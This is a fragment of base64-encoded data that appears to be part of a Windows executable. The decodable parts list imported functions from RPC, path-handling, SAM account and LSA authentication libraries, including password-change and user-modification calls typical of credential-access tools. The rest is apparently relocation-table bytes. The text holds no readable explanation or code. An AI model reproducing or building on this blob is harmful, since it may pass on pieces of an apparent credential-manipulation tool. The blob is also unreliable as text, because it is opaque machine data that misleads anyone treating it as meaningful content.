uZ0JpbmRpbmdDb21wb3NlVwAAbgFScGNCaW5kaW5nU2V0QXV0aEluZm9FeFcAAPIBUnBjU3RyaW5nRnJlZVcAAH0ATWVzSGFuZGxlRnJlZQCPAVJwY0ltcGVyc29uYXRlQ2xpZW50AACwAVJwY1JldmVydFRvU2VsZgB8AE1lc0VuY29kZUluY3JlbWVudGFsSGFuZGxlQ3JlYXRlAAB5AE1lc0RlY29kZUluY3JlbWVudGFsSGFuZGxlQ3JlYXRlAABdAVJwY0JpbmRpbmdGcmVlAAB+AE1lc0luY3JlbWVudGFsSGFuZGxlUmVzZXQA8wBOZHJNZXNUeXBlRW5jb2RlMgDxAE5kck1lc1R5cGVEZWNvZGUyAPQATmRyTWVzVHlwZUZyZWUyAO8ATmRyTWVzVHlwZUFsaWduU2l6ZTIAAHUBUnBjQmluZGluZ1ZlY3RvckZyZWUAAM0BUnBjU2VydmVyVXNlUHJvdHNlcUVwVwAAwwFScGNTZXJ2ZXJVbnJlZ2lzdGVySWZFeABzAVJwY0JpbmRpbmdUb1N0cmluZ0JpbmRpbmdXAAAEAlV1aWRUb1N0cmluZ1cAvgFScGNTZXJ2ZXJSZWdpc3RlcklmMgAAowFScGNNZ210V2FpdFNlcnZlckxpc3RlbgC6AVJwY1NlcnZlckxpc3RlbgC8AVJwY1NlcnZlclJlZ2lzdGVyQXV0aEluZm9XAACAAVJwY0VwVW5yZWdpc3RlcgB+AVJwY0VwUmVnaXN0ZXJXAAC0AVJwY1NlcnZlcklucUJpbmRpbmdzAACiAVJwY01nbXRTdG9wU2VydmVyTGlzdGVuaW5nAAAgAElfUnBjQmluZGluZ0lucVNlY3VyaXR5Q29udGV4dAAAlQBOZHJDbGllbnRDYWxsMgAAGwFOZHJTZXJ2ZXJDYWxsMgAA+wFVdWlkQ3JlYXRlAACRAVJwY01nbXRFcEVsdElucUJlZ2luAACSAVJwY01nbXRFcEVsdElucURvbmUAlAFScGNNZ210RXBFbHRJbnFOZXh0VwAAfwFScGNFcFJlc29sdmVCaW5kaW5nADUASV9ScGNHZXRDdXJyZW50Q2FsbEhhbmRsZQBSUENSVDQuZGxsAAA6AFBhdGhDb21iaW5lVwAAOABQYXRoQ2Fub25pY2FsaXplVwBlAFBhdGhJc1JlbGF0aXZlVwBJAFBhdGhGaW5kRmlsZU5hbWVXAFsAUGF0aElzRGlyZWN0b3J5VwAAU0hMV0FQSS5kbGwAEwBTYW1FbnVtZXJhdGVVc2Vyc0luRG9tYWluAB0AU2FtTG9va3VwTmFtZXNJbkRvbWFpbgAAHwBTYW1PcGVuRG9tYWluABEAU2FtRW51bWVyYXRlRG9tYWluc0luU2FtU2VydmVyAAAhAFNhbU9wZW5Vc2VyADgAU2FtaUNoYW5nZVBhc3N3b3JkVXNlcgAAHABTYW1Mb29rdXBJZHNJbkRvbWFpbgAABwBTYW1Db25uZWN0AAAGAFNhbUNsb3NlSGFuZGxlAAAbAFNhbUxvb2t1cERvbWFpbkluU2FtU2VydmVyAAAUAFNhbUZyZWVNZW1vcnkAJgBTYW1RdWVyeUluZm9ybWF0aW9uVXNlcgAwAFNhbVNldEluZm9ybWF0aW9uVXNlcgAgAFNhbU9wZW5Hcm91cAAAEABTYW1FbnVtZXJhdGVBbGlhc2VzSW5Eb21haW4ALABTYW1SaWRUb1NpZAAeAFNhbU9wZW5BbGlhcwAAFQBTYW1HZXRBbGlhc01lbWJlcnNoaXAAEgBTYW1FbnVtZXJhdGVHcm91cHNJbkRvbWFpbgAAGgBTYW1HZXRNZW1iZXJzSW5Hcm91cAAAGQBTYW1HZXRNZW1iZXJzSW5BbGlhcwAAGABTYW1HZXRHcm91cHNGb3JVc2VyAFNBTUxJQi5kbGwAABgARnJlZUNvbnRleHRCdWZmZXIANABRdWVyeUNvbnRleHRBdHRyaWJ1dGVzVwAnAExzYUNvbm5lY3RVbnRydXN0ZWQAKABMc2FEZXJlZ2lzdGVyTG9nb25Qcm9jZXNzACYATHNhQ2FsbEF1dGhlbnRpY2F0aW9uUGFja2FnZQAALQBMc2FMb29rdXBBdXRoZW50aWNhdGlvblBhY2thZ2UAACoATHNhRnJlZVJldHVybkJ1ZmZlcgARAERlbGV0ZVNlY3VyaXR5Q29udGV4dAACAEFjcXVpcmVDcmVkZW50aWFsc0hhbmRsZVcAFgBFbnVtZXJhdGVTZWN1cml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2MzY3Njs2PzZDNkc2SzZPNlM2VzZbNl82YzZnNms2bzZzNnc2ezZ/NoM2hzaLNo82kzaXNps2nzajNqc2qzavNrM2tza7Nr82wzbHNss2zzbTNtc22zbfNuM25zbrNu828zb3Nvs2/zYDNwc3CzcPNxM3FzcbNx83IzcnNys3LzczNzc3Ozc/N0M3RzdLN083UzdXN1s3XzdjN2c3azdvN3M3dzd7N383gzeHN4s3jzeTN5c3mzefN6M3pzerN683sze3N7s3vzfDN/Q4kDmXOaw5ujnGOc458DkCOhw6LDo5Okc6NjxGPFQ8Zjx0PIE8mTzcPO48Dz08PUk9bz2PPZM9lz2bPZ89oz2nPas9rz2zPbc9uz2/PcM9xz3LPc890z3XPds93z3jPec96z3vPfM99z0AP68/yz/XPwAAANADABgBAADEMPowADETMRoxKTEvMUAxVTFgMWwxejGAMY0xnTGoMa8xuDHEMcwx2zHsMfIx+DEEMgoyETIiMigyMTI8MkMyWjJ0MoIyiDKTMpoyoTKrMrQyujLBMssy2jLfMuUy7TL0MvsyBzMfM0QzSjNQM1szaTNuM3ozjDOYM6AzpzO3M8EzzjPWM94z6zPzM/szFTQgNCc0NzRENEw0WTRhNG40ezTXNN004zTpNPM0/TQPNRM1FzUbNR81IzUnNSs1LzUzNTc1OzU/NUM1RzVLNU81UzVXNVs1XzVjNWc1azVvNXM17DZhOHE5hDnKORc6QjpsOqM6sTpAOzw89TwPPVM9ZT30Pvw+FT84P0M/mj/mPwDgAwAAAQAAQjCKMJ8wtTBFMU0xWTFsMXcxtzHKMd0x5DH0MRMyYzINMx4zrzO1M7ozzzPVM9oz7zP1M/ozfDSmNNw04TTmNOw08jQDNRQ1KTVANUk1UjV1NZg1rzW+NcQ1IDZLNnI25TYmN1s3pje0N7431DfrNxc4IjguODU4QThROF04bTh5OIY4oDiuOL84zTjZOOU4FjkiOTA5Ojk/OVQ5WTltOYA5njm4OXo6ijqsOuE68Tr2Og07Mjs9O2M7kDu3O8I76DsRPEg8Wzw7PVc9bT1+Pas94j3zPRQ+Iz4zPmA+ZT6BPs8++z4ePzs/Rj9tP3Q/lT+4P9s/AAAA8AMAKAEAAAgwNjBZMHww1TD+MBAxIjE0MUYxXzFqMXUxjzGaMcExyjHwMRU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